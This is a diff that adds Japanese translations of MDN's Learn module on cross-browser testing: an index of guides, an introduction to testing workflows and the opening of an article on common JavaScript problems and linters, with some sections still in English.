id="ガイド">ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">はじめてのクロスブラウザーテスト</a></dt> + <dd>この記事ではクロスブラウザーテストの概観を提供し始めます。その過程で「ブラウザーテストとは何？」「どんな種類の問題によく出くわしますか？」「テストと、問題の特定・修正の主なアプローチは？」といった質問に答えたりします。</dd> + <dt><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">テスト実行戦略</a></dt> + <dd>次に、テスト実行について掘り下げ、ターゲット視聴者(例、どのブラウザー、デバイス、その他のセグメントでテストを確実にするのか)を特定し、ローファイテスト戦略(ある範囲のデバイスと仮装マシンにて必要ならアドホックテストを行う)、高度なテスト戦略(専用テストアプリを使った自動化)、ユーザーグループを使ったテストまで見て行きます。</dd> + <dt><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">よくあるHTML や</a><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS"> CSS の問題を扱う</a></dt> + <dd>シーンがセットされたら、HTMLとCSSコードの中でよく出くわすクロスブラウザー問題と、問題を防いだり、問題発生を修正するのに使えるツールを詳しく見ていきます。これにはコードの lint や、CSSプレフィックスを手渡したり、問題を監視するブラウザーの開発ツールを使ったり、ブラウザーサポート追加に polyfill を使ったり、レスポンシブデザインの問題に取り組んだり、といった事が含まれます</dd> + <dt><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">よくある JavaScript の問題を扱う</a></dt> + <dd>今度はクロスブラウザー JavaScript の問題と、その修正方法を見て行きます。ここにはブラウザーの開発ツールを使って問題を突き止めて修正したり、問題を回避するのに pollyfill やライブラリーを使用したり、古いブラウザーの対応にモダン JavaScript の機能を掴んだり、といった事が含まれます。</dd> + <dt><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">よくあるアクセシビリティの問題を扱う</a></dt> + <dd>次にアクセシビリティに注意を向けて、良くある問題の情報、簡単なテスト実施の方法、アクセシビリティの問題を見つけるための監査/自動化ツールの利用方法を提供します。</dd> + <dt><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">機能検出の実装</a></dt> + <dd>機能検出はブラウザーがあるコードブロックをサポートしているか考えたり、サポートする/しないによって他のコードを実行したりして、いくつかのブラウザーでクラッシュ/エラー起こすことなく、常に動作の体験を提供できるようにすることです。この記事では簡単な機能検出を書く方法や、 <code>@supports</code> のようなネイティブ機能について詳しく記載します。</dd> + <dt><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">はじめての自動テスト</a></dt> + <dd>いくつかのブラウザーと端末で、一日に何度もテストを手動実行するのはつまらないし時間をつぶします。これを効率良く扱うには、自動化ツールに詳しくなるべきです。この記事では何を入手できるかや、タスクランナーの使い方や、Sauce Labs と Browser Stack のような商用ブラウザーテスト自動化ツールの使い方の基本を見て行きます。</dd> + <dt><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">テスト自動化環境をセットアップする</a></dt> + <dd>この記事では、Selenium/WebDriver や selenium-webdriver for Node のようなテストライブラリーを使って、自動化環境のインストールとテストを実行する方法を教えます。またあなたのローカルテスト環境と、以前の記事で見てきたような商用アプリとを統合する方法についても見て行きます。</dd> +</dl> diff --git a/files/ja/learn/tools_and_testing/cross_browser_testing/introduction/index.html b/files/ja/learn/tools_and_testing/cross_browser_testing/introduction/index.html new file mode 100644 index 0000000000..3e0e2e7834 --- /dev/null +++ b/files/ja/learn/tools_and_testing/cross_browser_testing/introduction/index.html @@ -0,0 +1,209 @@ +--- +title: はじめてのクロスブラウザテスト +slug: Learn/Tools_and_testing/Cross_browser_testing/Introduction +tags: + - Article + - Beginner + - CodingScripting + - Learn + - Testing + - concepts + - cross browser +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">この記事では (クロス) ブラウザテストのトピックの概要を説明し、「クロスブラウザテストとは何ですか？」、「発生する最も一般的な問題の種類は何ですか？」、「問題のテスト、特定、および修正のための主なアプローチは？」などの質問に答えながらモジュールを始めます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td><a href="/ja/docs/Learn/HTML">HTML</a>, <a href="/ja/docs/Learn/CSS">CSS</a>, <a href="/ja/docs/Learn/JavaScript">JavaScript</a> 言語の基礎に精通していること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>クロスブラウザテストに関する高レベルのコンセプトを理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_cross_browser_testing" name="What_is_cross_browser_testing">クロスブラウザテストとは？</h2> + +<p>クロスブラウザテストは、作成した Web サイトと Web アプリケーションが許容できる数の Web ブラウザにわたって動作することを確認することです。Web 開発者として、自分のプロジェクトが機能するだけでなく、使用しているブラウザ、デバイス、その他の補助ツールに関係なく、すべてのユーザに対して機能することを確認するのはあなたの責任です。あなたは考える必要があります：</p> + +<ul> + <li>普段自分が使っているブラウザ以外にも、数多くのブラウザが存在します。また、人によっては少し古いバージョンを使用していて、最新の CSS や JavaScript 機能をサポートしていない場合もあります。</li> + <li>ウェブにアクセスするデバイスは様々で、最新の高性能タブレットやスマートフォンから、スマートTVからのアクセス、廉価なタブレットや、少し古いフィーチャーフォンに搭載されている機能が限定されたブラウザなどもあります。</li> + <li>障がいを持った人で、スクリーンリーダーのような補助技術を使ってウェブを使用していたり、マウスを使わずにキーボードだけでブラウズしたりする人もいます。</li> +</ul> + +<p>ユーザーの状況は一人ひとり異なってきます — 自分の Macbook Pro やハイエンドな Galaxy Nexus で動いても、すべてのユーザーにとって動作するとは限りません 。それを確認するには膨大な数のテストが必要になってきます。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="https://hacks.mozilla.org/2016/07/make-the-web-work-for-everyone/">Make the web work for everyone</a> では、人々が使っているさまざまなブラウザの種類やそれぞれのマーケットシェア、それに伴うクロスブラウザの懸念点などが説明されています。</p> +</div> + +<p>ここでいくつかの用語を説明します。最初に、「クロスブラウザでの動作」と言う時、様々なブラウザ間で受け入れられるユーザー体験が提供されることを言います。サイトがすべてのブラウザでまったく同一の体験が提供していなくても、コア機能がいくつかの方法で受け入れられる限りは、潜在的にOKです。モダンブラウザではアニメーションや3Dや目立つものがあり、いっぽう古いブラウザでは平坦なグラフィックで同じ情報を表すだけのこともあるでしょう。サイト所有者が満足している限り、あなたの仕事は完了です。</p> + +<p>その一方で、サイトが視力のあるユーザーにとって動作していても、視覚障がいのあるユーザーにとって、スクリーンリーダーアプリケーションがそこにある情報を読み取れないため完全にアクセスできない場合は、OKではありません。</p> + +<p>2つ目に、「受け入れられる数のウェブブラウザ間で」と言った時、世界中のブラウザの 100% の意味ではありません — これは不可能です。ユーザーが使うブラウザや端末の情報を呼び出すことができます (このシリーズの2つ目の記事で見ていきましょう — <a href="https://developer.mozilla.org/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all">Gotta test 'em all?</a>を見てください)が、すべてを保証することはできません。ウェブ開発者としては、ある範囲のブラウザと端末にてコードが完全に動作することをサイトオーナーと同意しておく必要があります。しかしそれを超えて、その他のブラウザでコンテンツを使う機会をできるだけ与えられるよう防衛的なコードを書いておく必要があります。</p> + +<div class="note"> +<p><strong>注</strong>: このモジュールの後の方でも、防衛的なコードをカバーします。</p> +</div> + +<h2 id="Why_do_cross_browser_issues_occur" name="Why_do_cross_browser_issues_occur">なぜクロスブラウザ問題が起きるのか？</h2> + +<p>クロスブラウザ問題が生じる原因はたくさんあります。そして、本記事ではブラウザ・端末・ブラウザの設定によって生じる問題について述べます。クロスブラウザの問題に取り組む前に、ソース中のバグを解決するべきです（必要に応じて前述の<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a>, <a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a>, and <a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>の記事を見て記憶を呼び覚ましてください）。</p> + +<p>クロスブラウザ問題が発生する原因は主に以下になります。</p> + +<ul> + <li>時々ブラウザにはバグがあったり、異なる仕様で機能が実装されています。この状況はかつてよりはましになっています。1990年代にIE4とNetscape4がブラウザの支配権を争っっていたとき、ブラウザ会社は意図的に競争優位性を得るために互いに異なる実装をしていました。これは開発者にとってはたまったもんじゃありませんでした。今日ではそのときに比べてはブラウザを取り巻く環境は遥かにましになっています。しかし、それでもブラウザ間での違いやバグは時々あります。</li> + <li> ブラウザ間で機能についてのサポートのレベルが異なる場合があります。これは実装されたばかりの最先端の機能を使おうとした場合や新しい機能が開発されるよりずっと前に開発終了になったものすごく古いブラウザをサポートする場合には避けることはできません。たとえば、自分のサイトでJavaScript最新の機能を使いたい場合、これらの機能は古いブラウザでは動作しないかもしれません。もし古いブラウザをサポートする必要があるならそれらの機能を使わないかクロスコンパイラを使って古い書き方に変換する必要があります。</li> + <li>端末によっては制約があり、それによってウェブサイトの表示が遅くなったり表示がおかしくなったりします。たとえば、デスクトップPCでよく見えるように意図されたサイトは、携帯端末ではひょっとすると小さく読むのが難しかったりするかもしれません。また大量のアニメーションを読み込むサイトは、ハイスペックのタブレットでは大丈夫かもしれませんが、低スペックの端末ではカクつくかもしれません。</li> +</ul> + +<p>上記の他にも理由はあります。</p> + +<p>後述の記事では、クロスブラウザ問題についてよくある問題について掘り下げ、解決策を提示します。</p> + +<h2 id="Workflows_for_cross_browser_testing" name="Workflows_for_cross_browser_testing">クロスブラウザテストの作業手順</h2> + +<p>All of this cross browser testing business may sound time consuming and scary, but it needn't be — you just need to plan carefully for it, and make sure you do enough testing in the right places to make sure you don't run into unexpected problems. If you are working on a large project, you should be testing it regularly, to make sure that new features work for your target audience, and that new additions to the code don't break old features that were previously working.</p> + +<p>If you leave all the testing to the end of a project, any bugs you uncover will be a lot more expensive and time consuming to fix than if you uncover them and fix them as you go along.</p> + +<p>The workflow for testing and bug fixes on a project can be broken down into roughly the following four phases (this is only very rough — different people may do things quite differently to this):</p> + +<p><strong>Initial planning > Development > Testing/discovery > Fixes/iteration</strong></p> + +<p>Steps 2–4 will tend to be repeated as many times as necessary to get all of the implementation done. We will look at the different parts of the testing process in much greater detail in subsequent articles, but for now let's just summarize what may occur in each step.</p> + +<h3 id="Initial_planning" name="Initial_planning">初期計画</h3> + +<p>In the initial planning phase, you will probably have several planning meetings with the site owner/client (this might be your boss, or someone from an external company you are building a web site for), in which you determine exactly what the web site should be — what content and functionality should it have, what should it look like, etc. At this point you'll also want to know how much time you have to develop the site — what is their deadline, and how much are they going to pay you for your work? We won't go into much detail about this, but cross-browser issues can have a serious effect on such planning.</p> + +<p>Once you've got an idea of the required featureset, and what technologies you will likely build these features with, you should start exploring the target audience — what browsers, devices, etc. will the target audience for this site be using? The client might already have data about this from previous research they've done, e.g. from other web sites they own, or from previous versions of the web site you are now working on. If not, you will be able to get a good idea by looking at other sources, such as usage stats for competitors, or countries the site will be serving. You can also use a bit of intuition.</p> + +<p>So for example, you might be building an e-commerce site that serves customers in North America. the site should work entirely in the last few versions of the most popular desktop and mobile (iOS, Android, Windows phone) browsers — this should include Chrome (and Opera as it is based on the same rendering engine as Chrome), Firefox, IE/Edge, and Safari. It should also provide an acceptable experience on IE 8 and 9, and be accessible with WCAG AA compliance.</p> + +<p>Now you know your target testing platforms, you should go back and review the required featureset and what technologies you are going to use. For example, if the e-commerce site owner wants a WebGL-powered 3D tour of each product built into the product pages, they will need to accept that this just won't work in IE versions before 11. You'd have to agree to provide a version of the site without this feature to users of older IE versions.</p> + +<p>You should compile a list of the potential problem areas.</p> + +<div class="note"> +<p><strong>注</strong>: You can find browser support information for technologies by looking up the different features on MDN — the site you're on! You should also consult <a href="http://caniuse.com/">caniuse.com</a>, for some further useful details.</p> +</div> + +<p>Once you've agreed on these details, you can go ahead and start developing the site.</p> + +<h3 id="Development" name="Development">開発</h3> + +<p>Now on to the development of the site. You should split the different parts of the development into modules, for example you might split the different site areas up — home page, product page, shopping cart, payment workflow, etc. You might then further subdivide these — implement common site header and footer, implement product page detail view, implement persistent shopping cart widget, etc.</p> + +<p>There are multiple general strategies to cross browser development, for example:</p> + +<ul> + <li>Get all the functionality working as closely as possible in all target browsers. This may involve writing different code paths that reproduce functionality in different ways aimed at different browsers, or using a {{glossary("Polyfill")}} to mimic any missing support using JavaScript or other technologies, or using a library that allows you to write a single bit of code and then does different things in the background depending on what the browser supports.</li> + <li>Accept that some things aren't going to work the same on all browsers, and provide different (acceptable) solutions in browsers that don't support the full functionality. Sometimes this is inevitable due to device constraints — a cinema widescreen isn't going to give the same visual experience as a 4" mobile screen, regardless of how you program your site.</li> + <li>Accept that your site just isn't going to work in some older browsers, and move on. This is OK, provided your client/userbase is OK with it.</li> +</ul> + +<p>Normally your development will involve a combination of the above three approaches. The most important thing is that you test each small part before committing it — don't leave all the testing till the end!</p> + +<h3 id="Testingdiscovery" name="Testingdiscovery">テスト/発見</h3> + +<p>After each implementation phase, you will need to test the new functionality. To start with, you should make sure there are no general issues with your code that are stopping your feature from working:</p> + +<ol> + <li>Test it in a couple of stable browsers on your system, like Firefox, Safari, Chrome, or IE/Edge.</li> + <li>Do some low fi accessibility testing, such as trying to use your site with only the keyboard, or using your site via a screen reader to see if it is navigable.</li> + <li>Test on a mobile platform, such as Android or iOS.</li> +</ol> + +<p>At this point, fix any problems you find with your new code.</p> + +<p>Next, you should try expanding your list of test browsers to a full list of target audience browsers and start concentrating on weeding out cross browser issues (see the next article for more information on <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all">determining your target browsers</a>). For example:</p> + +<ul> + <li>Try to test the latest change on all the modern desktop browsers you can — including Firefox, Chrome, Opera, IE, Edge, and Safari on desktop (Mac, Windows, and Linux, ideally).</li> + <li>Test it in common phone and tablet browsers (e.g. iOS Safari on iPhone/iPad, Chrome and Firefox on iPhone/iPad/Android),</li> + <li>Also do tests in any other browsers you have included inside your target list.</li> +</ul> + +<p>The most low fi option is to just do all the testing you can by yourself (pulling in team mates to help out if you are working in a team). You should try to test it on real physical devices where possible.</p> + +<p>If you haven't got the means to test all those different browser, operating system, and device combinations on physical hardware, you can also make use of emulators (emulate a device using software on your desktop computer) and virtual machines (software that allows you to emulate multiple operating system/software combinations on your desktop computer). This is a very popular choice, especially in some circumstances — for example, Windows doesn't let you have multiple versions of Windows installed simulataneously on the same machine, so using multiple virtual machines is often the only option here.</p> + +<p>Another option is user groups — using a group of people outside your development team to test your site. This could be a group of friends or family, a group of other employees, a class at a local university, or a professional user testing setup, where people are paid to test out your site and provide results.</p> + +<p>Finally, you can get smarter with your testing using auditing or automation tools; this is a sensible choice as your projects get bigger, as doing all this testing by hand can start to take a really long time. You can set up your own testing automation system (<a href="http://www.seleniumhq.org/">Selenium</a> being the popular app of choice) that could for example load your site in a number of different browsers, and:</p> + +<ul> + <li>see if a button click causes something to happen successfully (like for example, a map displaying), displaying the results once the tests are completed</li> + <li>take a screenshot of each, allowing you to see if a layout is consistent across the different browsers.</li> +</ul> + +<p>You can also go further than this, if wished. There are commercial tools available such as <a href="https://saucelabs.com/">Sauce Labs</a>, <a href="https://www.browserstack.com/">Browser Stack</a>, <a href="https://www.lambdatest.com/">LambdaTest</a>, <a href="https://testingbot.com">TestingBot</a>, and <a href="https://crossbrowsertesting.com">CrossBrowserTesting</a> that do this kind of thing for you, without you having to worry about the setup, if you wish to invest some money in your testing. It is also possible to set up an environment that automatically runs tests for you, and then only lets you check in your changes to the central code repository if the tests still pass.</p> + +<h4 id="Testing_on_prerelease_browsers" name="Testing_on_prerelease_browsers">Testing on prerelease browsers</h4> + +<p>It is often a good idea to test on prerelease versions of browsers; see the following links:</p> + +<ul> + <li><a href="https://www.mozilla.org/en-US/firefox/developer/">Firefox Developer Edition</a></li> + <li><a href="https://insider.windows.com/">Edge Insider Preview</a></li> + <li><a href="https://developer.apple.com/safari/technology-preview/">Safari Technology Preview</a></li> + <li><a href="https://www.google.com/chrome/browser/canary.html">Chrome Canary</a></li> + <li><a href="http://www.opera.com/computer/beta">Opera Developer</a></li> +</ul> + +<p>This is especially prevalent if you are using very new technologies in your site, and you want to test against the latest implementations, or if you are coming across a bug in the latest release version of a browser, and you want to see if the browser's developers have fixed the bug in a newer version.</p> + +<h3 id="Fixesiteration" name="Fixesiteration">修正/繰り返し</h3> + +<p>Once you've discovered a bug, you need to try to fix it.</p> + +<p>The first thing to do is to narrow down where the bug occurs as much as possible. Get as much information as you can from the person reporting the bug — what platform(s), device(s), browser version(s), etc. Try it on similar configurations (e.g. the same browser version on different desktop platforms, or a few different versions of the same browser on the same platform) to see how widely the bug persists.</p> + +<p>It might not be your fault — if a bug exists in a browser, then hopefully the vendor will rapidly fix it. It might have already been fixed — for example if a bug is present in Firefox release 49, but it is no longer there in Firefox Nightly (version 52), then they have fixed it. If it is not fixed, then you may want to file a bug (see {{anch("Reporting bugs")}}, below).</p> + +<p>If it is your fault, you need to fix it! Finding out the cause of the bug involves the same strategy as any web development bug (again, see <a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a>, <a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a>, and <a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>). Once you've discovered what is causing your bug, you need to decide how to work around it in the particular browser it is causing problems in — you can't just change the problem code outright, as this may break the code in other browsers. The general approach is usually to fork the code in some way, for example use JavaScript feature detection code to detect situations in which a problem feature doesn't work, and run some different code in those cases that does work.</p> + +<p>Once a fix has been made, you'll want to repeat your testing process to make sure your fix is working OK, and hasn't caused the site to break in other places or in other browsers.</p> + +<h2 id="Reporting_bugs" name="Reporting_bugs">バグを報告する</h2> + +<p>ブラウザでバグを発見した場合は、上記で述べたことを繰り返しますが、それらを報告する必要があります。</p> + +<ul> + <li><a href="https://bugzilla.mozilla.org/">Firefox Bugzilla</a></li> + <li><a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/">EdgeHTML issue tracker</a></li> + <li><a href="https://bugs.webkit.org/">Safari</a></li> + <li><a href="https://bugs.chromium.org/p/chromium/issues/list">Chrome</a></li> + <li><a href="https://bugs.opera.com/wizard/desktop">Opera</a></li> +</ul> + +<h2 id="Summary" name="Summary">要約</h2> + +<p>この記事では、クロスブラウザテストに関して知っておくべき最も大事な概念について、高位の理解を与えてきました。この知識を備えたことで、クロスブラウザテストの戦略について学び始める準備ができています。</p> + +<p>{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> diff --git a/files/ja/learn/tools_and_testing/cross_browser_testing/javascript/index.html b/files/ja/learn/tools_and_testing/cross_browser_testing/javascript/index.html new file mode 100644 index 0000000000..12c8f274d6 --- /dev/null +++ b/files/ja/learn/tools_and_testing/cross_browser_testing/javascript/index.html @@ -0,0 +1,521 @@ +--- +title: JavaScript のよくある問題を扱う +slug: Learn/Tools_and_testing/Cross_browser_testing/JavaScript +tags: + - Article + - Beginner + - CodingScripting + - JavaScript + - Learn + - Libraries + - Testing + - cross browser + - feature detection + - linting + - polyfills +translation_of: Learn/Tools_and_testing/Cross_browser_testing/JavaScript +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">ここではよくあるクロスブラウザー JavaScript 問題と、その直し方を見てみます。これにはブラウザーの開発ツールを使って問題をつきとめて修正したり、問題の回避に Polyfills やライブラリーを使ったりモダンな JavaScript 機能を古いブラウザーで使ったりなどです。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>Familiarity with the core <a href="/ja/docs/Learn/HTML">HTML</a>, <a href="/ja/docs/Learn/CSS">CSS</a>, and <a href="/ja/docs/Learn/JavaScript">JavaScript</a> languages; an idea of the high-level <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">principles of cross browser testing</a>.</td> + </tr> + <tr> + <th scope="row">狙い:</th> + <td>To be able to diagnose common JavaScript cross-browser problems, and use appropriate tools and techniques to fix them.</td> + </tr> + </tbody> +</table> + +<h2 id="The_trouble_with_JavaScript" name="The_trouble_with_JavaScript">JavaScript のトラブル</h2> + +<p>Historically, JavaScript was plagued with cross-browser compatibility problems — back in the 1990s, the main browser choices back then (Internet Explorer and Netscape) had scripting implemented in different language flavours (Netscape had JavaScript, IE had JScript and also offered VBScript as an option), and while at least JavaScript and JScript were compatible to some degree (both based on the {{glossary("ECMAScript")}} specification), things were often implemented in conflicting, incompatible ways, causing developers many nightmares.</p> + +<p class="entry-title">Such incompatibility problems persisted well into the early 2000s, as old browsers were still being used and still needed supporting. This is one of the main reasons why libraries like <a href="http://jquery.com/">jQuery</a> came into existence — to abstract away differences in browser implementations (e.g. see the code snippet in <a href="/ja/docs/AJAX/Getting_Started#Step_1_%E2%80%93_How_to_make_an_HTTP_request">How to make an HTTP request</a>) so developers only have to write one simple bit of code (see <code><a href="http://api.jquery.com/jquery.ajax/">jQuery.ajax()</a></code>). jQuery (or whatever library you are using) will then handle the differences in the background, so you don't have to.</p> + +<p>Things have got much better since then; modern browsers do a good job of supporting "classic JavaScript features", and the requirement to use such code has diminished as the requirement to support older browsers has lessened (although bear in mind that they have not gone away altogether).</p> + +<p>These days, most cross-browser JavaScript problems are seen:</p> + +<ul> + <li>When bad quality browser sniffing code, feature detection code, and vendor prefix usage blocks browsers from running code they could otherwise use just fine.</li> + <li>When developers make use of new/nascent JavaScript features (for example <a href="/ja/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 6</a> / <a href="/ja/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next</a> features, modern Web APIs...) in their code, and find that such features don't work in older browsers.</li> +</ul> + +<p>We'll explore all these problems and more below.</p> + +<h2 id="Fixing_general_JavaScript_problems" name="Fixing_general_JavaScript_problems">一般的な JavaScript の問題を修正する</h2> + +<p>As we said in the <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#First_things_first_fixing_general_problems">previous article</a> on HTML/CSS, you should make sure your code is working generally, before going on to concentrate on the cross-browser issues. If you are not already familiar with the basics of <a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">Troubleshooting JavaScript</a>, you should study that article before moving on. There are a number of common JavaScript problems that you will want to be mindful of, such as:</p> + +<ul> + <li>Basic syntax and logic problems (again, check out <a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">Troubleshooting JavaScript</a>).</li> + <li>Making sure variables, etc. are defined in the correct scope, and you are not running into conflicts between items declared in different places (see <a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">Function scope and conflicts</a>).</li> + <li>Confusion about <a href="/ja/docs/Web/JavaScript/Reference/Operators/this">this</a>, in terms of what scope it applies to, and therefore if its value is what you intended. You can read <a href="/ja/docs/Learn/JavaScript/Objects/Basics#What_is_this">What is "this"?</a> for a light introduction; you should also study examples like <a href="https://github.com/mdn/learning-area/blob/7ed039d17e820c93cafaff541aa65d874dde8323/javascript/oojs/assessment/main.js#L143">this one</a>, which shows a typical pattern of saving a <code>this</code> scope to a separate variable, then using that variable in nested functions so you can be sure you are applying functionality to the correct <code>this</code> scope.</li> + <li>Incorrectly using functions inside loops — for example, in <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/bad-for-loop.html">bad-for-loop.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/bad-for-loop.html">source code</a>), we loop through 10 iterations, each time creating a paragraph and adding an <a href="/ja/docs/Web/API/GlobalEventHandlers/onclick">onclick</a> event handler to it. When clicked, each one should alert a message containing its number (the value of <code>i</code> at the time it was created), however each one reports <code>i</code> as 11, because for loops do all their iterating before nested functions are invoked. If you want this to work correctly, you need to define a function to add the handler separately, calling it on each iteration and passing it the current value of <code>para</code> and <code>i</code> each time (or something similar). See <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/good-for-loop.html">good-for-loop.html</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/good-for-loop.html">source code</a> also) for a version that works.</li> + <li>Making sure asynchronous operations have returned before trying to use the values they return. For example, <a href="/ja/docs/AJAX/Getting_Started#Step_3_%E2%80%93_A_Simple_Example">this Ajax example</a> checks to make sure the request is complete and the response has been returned before trying to use the response for anything. This kind of operation has been made easier to handle by the introduction to <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> to the JavaScript language.</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: <a href="https://www.toptal.com/javascript/10-most-common-javascript-mistakes">Buggy JavaScript Code: The 10 Most Common Mistakes JavaScript Developers Make</a> has some nice discussions of these common mistakes and more.</p> +</div> + +<h3 id="Linters" name="Linters">Linters</h3> + +<p><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Linters">HTML や CSS</a>と同じく、良い品質を保つことができて、エラーを示して悪いやり方の警告をつけ、エラー/警告の報告を厳しくもゆるくも変えられる Linterを使ってエラーがちな JavaScript コードを減らすことが確実にできます。我々が勧める JavaScript/ECMAScript linters は <a href="http://jshint.com/">JSHint</a> と <a href="http://eslint.org/">ESLint</a>; これらは色々な方法で使用でき、そのいくつかを以下で紹介します。</p> + +<h4 id="オンライン">オンライン</h4> + +<p>The <a href="http://jshint.com/">JSHint homepage</a> provides an online linter, which allows you to enter your JavaScript code on the left and provides an output on the right, including metrics, warnings, and errors.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14175/jshint-online.png" style="display: block; margin: 0 auto;"></p> + +<h4 id="Code_editor_plugins" name="Code_editor_plugins">コードエディターのプラグイン</h4> + +<p>It is not very convenient to have to copy and paste your code over to a web page to check its validity several times. What you really want is a linter that will fit into your standard workflow with the minimum of hassle. Many code editors have linter plugins, for example Github's <a href="https://atom.io/">Atom</a> code editor has a JSHint plugin available.</p> + +<p>To install it:</p> + +<ol> + <li>Install Atom (if you haven't got an up-to-date version already installed) — download it from the Atom page linked above.</li> + <li>Go to Atom's <em>Preferences...</em> dialog (e.g. by Choosing <em>Atom > Preferences...</em> on Mac, or <em>File > Preferences...</em> on Windows/Linux) and choose the <em>Install</em> option in the left-hand menu.</li> + <li>In the <em>Search packages</em> text field, type "jslint" and press Enter/Return to search for linting-related packages.</li> + <li>You should see a package called <strong>lint</strong> at the top of the list. Install this first (using the <em>Install</em> button), as other linters rely on it to work. After that, install the <strong>linter-jshint</strong> plugin.</li> + <li>After the packages have finished installing, try loading up a JavaScript file: you'll see any issues highlighted with green (for warnings) and red (for errors) circles next to the line numbers, and a separate panel at the bottom provides line numbers, error messages, and sometimes suggested values or other fixes.</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14173/jshint-linter.png" style="display: block; margin: 0 auto;">Other popular editors have similar linting packages available. For example, see the "Plugins for text editors and IDEs" section of the <a href="http://jshint.com/install/">JSHint install page</a>.</p> + +<h4 id="Other_uses" name="Other_uses">その他</h4> + +<p>There are other ways to use such linters; you can read about them on the <a href="http://jshint.com/install/">JSHint</a> and <a href="http://eslint.org/docs/user-guide/getting-started">ESLint</a> install pages.</p> + +<p>It is worth mentioning command line uses — you can install these tools as command line utilities (available via the CLI — command line interface) using npm (Node Package Manager — you'll have to install <a href="https://nodejs.org/en/">NodeJS</a> first). For example, the following command installs JSHint:</p> + +<pre class="brush: bash">npm install -g jshint +</pre> + +<p>You can then point these tools at JavaScript files you want to lint, for example:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14171/js-hint-commandline.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;">You can also use these tools with a task runner/build tool such as <a href="http://gulpjs.com/">Gulp</a> or <a href="https://webpack.github.io/">Webpack</a> to automatically lint your JavaScript during development. (see <a href="https://developer.mozilla.org/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing#Using_a_task_runner_to_automate_testing_tools">Using a task runner to automate testing tools</a> in a later article.) See <a 